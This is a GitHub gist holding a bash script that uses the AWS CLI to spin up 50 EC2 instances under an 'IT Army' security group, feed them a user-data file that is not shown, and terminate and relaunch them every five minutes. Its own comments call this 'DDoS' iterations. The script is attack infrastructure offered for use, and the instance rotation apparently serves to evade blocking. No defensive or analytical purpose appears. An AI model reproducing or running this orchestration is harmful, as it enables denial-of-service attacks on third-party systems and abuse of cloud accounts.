Skip to content

Instantly share code, notes, and snippets.

@xpr0ger
Created March 7, 2022 17:15
Show Gist options
  • Save xpr0ger/34d33a0490002b549f6d0ace2f790717 to your computer and use it in GitHub Desktop.
Save xpr0ger/34d33a0490002b549f6d0ace2f790717 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Amount of instances for DDoS
count=50
# Region
region="eu-west-2"
# Rotation interval.
rotationInterval=300 # in seconds. 5minutes by default
# Get VPC id
# Attention! If you have more than one VPC, replace it by proper one
vpc=$(aws ec2 describe-vpcs \
--region $region \
--query "Vpcs[].VpcId" \
--no-cli-pager \
--output text | awk '{print $1}')
# Get security group id
sg=$(aws ec2 describe-security-groups \
--region $region \
--filters Name=group-name,Values=it-army-security-group \
--query "SecurityGroups[*].[GroupId]" \
--no-cli-pager --output text)
function launch {
# Launch Instances
instances=$(aws ec2 run-instances \
--region $region \
--image-id ami-060c4f2d72966500a \
--count $count \
--instance-type t2.micro \
--security-group-ids $sg \
--user-data file://user-data.txt \
--no-cli-pager --output text \
--query "Instances[*].[InstanceId]" | tr '\r\n' ' ')
# Add tags for newly created instances
aws ec2 create-tags \
--region $region \
--resources $instances \
--tags Key=banderinstance,Value= \
--no-cli-pager --output text
echo "Launched instances: $instances"
}
function terminate {
# List running instances
instances=$(aws ec2 describe-instances \
--region $region \
--filters "Name=tag-key,Values=banderinstance" "Name=instance-state-name,Values=running" \
--query "Reservations[*].Instances[*].InstanceId" \
--no-cli-pager --output text | tr '\r\n' ' ')
# Terminate running instances
terminatedInstances=$(aws ec2 terminate-instances \
--region $region \
--instance-ids $instances \
--query "TerminatingInstances[*].InstanceId" \
--no-cli-pager --output text)
echo "Terminated instances: $terminatedInstances"
}
function setup {
# Create a security group
aws ec2 create-security-group --region $region --group-name it-army-security-group --description "IT Army" --vpc-id $vpc --no-cli-pager --output text
}
if [ $1 = "setup" ]; then
setup
elif [ $1 = "terminate" ]; then
terminate
else
# Instance Rotation
echo "Press [Cmd+C] to stop..."
iteration=1
while true
do
echo "DDos Iteration ${iteration}"
iteration=$((iteration+1))
launch
sleep $rotationInterval
terminate
done
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment